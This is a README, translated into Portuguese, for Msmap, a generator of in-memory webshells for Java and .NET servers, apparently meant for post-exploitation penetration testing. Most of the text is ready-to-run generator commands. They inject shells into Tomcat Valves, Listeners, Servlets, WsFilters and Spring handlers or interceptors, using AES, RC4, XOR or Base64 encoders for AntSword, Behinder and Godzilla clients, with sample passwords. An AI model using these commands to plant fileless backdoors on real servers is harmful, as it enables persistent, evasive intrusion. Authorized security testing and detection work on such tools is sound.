
Gerador modular de webshell de memória com suporte para containers Java (Tomcat, Spring, WebLogic), múltiplos tipos de shell, codificadores e compilação automática para testes de penetração pós-exploração.
Msmap é um Gerador de WebShell de Memória. Compatível com vários Contêineres, Componentes, Codificadores, WebShell / Proxy / Killer e Clientes de Gerenciamento. English
The idea behind I, The idea behind II, The idea behind III



*: SpringHandler suporta apenas JDK8+
*: JVM Padrão suporta Linux Tomcat 8/9, mais versões podem ser adaptadas de acordo com o guia avançado.
WebShell
Não precisa de modularidade
Proxy: Neo-reGeorg, wsproxy
Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner
git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py
[Aviso] DEVE definir uma senha única. As opções diferenciam maiúsculas de minúsculas.
Edite config/environment.py
# Auto Compile
auto_build = True
# Base64 Encode Class File
b64_class = True
# Generate Script File
generate_script = True
# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
Edite gist/java/container/tomcat/servlet.py
// Servlet Path Pattern
private static String pattern = "*.xml";
Se um codificador de criptografia for usado no WsFilter, a senha precisa ser igual ao caminho (ex: /passwd)
gist/java/container/jdk/javax.py com lib/servlet-api.jar pode ser substituído dependendo do contêiner alvo.
pip3 install pyperclip para suportar cópia automática para a área de transferência.
Comando com Base64 Codificador | Injetar Tomcat Valve
python generator.py Java Tomcat Valve Base64 CMD passwd
Tipo JSP com padrão Codificador | Injetar Tomcat Valve
python generator.py Java Tomcat Valve RAW AntSword passwd
Tipo JSP com aes_128_ecb_pkcs7_padding_md5 Codificador | Injetar Tomcat Listener
python generator.py Java Tomcat Listener AES128 AntSword passwd
Tipo JSP com rc_4_sha256 Codificador | Injetar Tomcat Servlet
python generator.py Java Tomcat Servlet RC4 AntSword passwd
Tipo JSP com xor_md5 Codificador | AgentFiless Injetar HttpServlet
python generator.py Java JDK JavaX XOR AntSword passwd
Tipo JSPJS com aes_128_ecb_pkcs7_padding_md5 Codificador | Injetar Tomcat WsFilter
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd
Tipo JSPJS com xor_md5 Codificador | Injetar Spring Handler
Tipo default_aes | Injetar Tomcat Valve
python generator.py Java Tomcat Valve AES128 Behinder rebeyond
Tipo default_xor_base64 | Injetar Spring Interceptor
python generator.py Java Spring Interceptor XOR Behinder rebeyond
Tipo JAVA_AES_BASE64 | Injetar Tomcat Valve
python generator.py Java Tomcat Valve AES128 Godzilla superidol
Tipo JAVA_AES_BASE64 | AgentFiless Injetar HttpServlet
python generator.py Java JDK JavaX AES128 Godzilla superidol
Tipo JAVA_AES_BASE64 | Injetar Spring Handler
python generator.py Java Spring Handler AES128 Godzilla superidol
Behinder | wsMemShell | ysomap
python generator.py Java Spring Handler XOR JSPJS passwd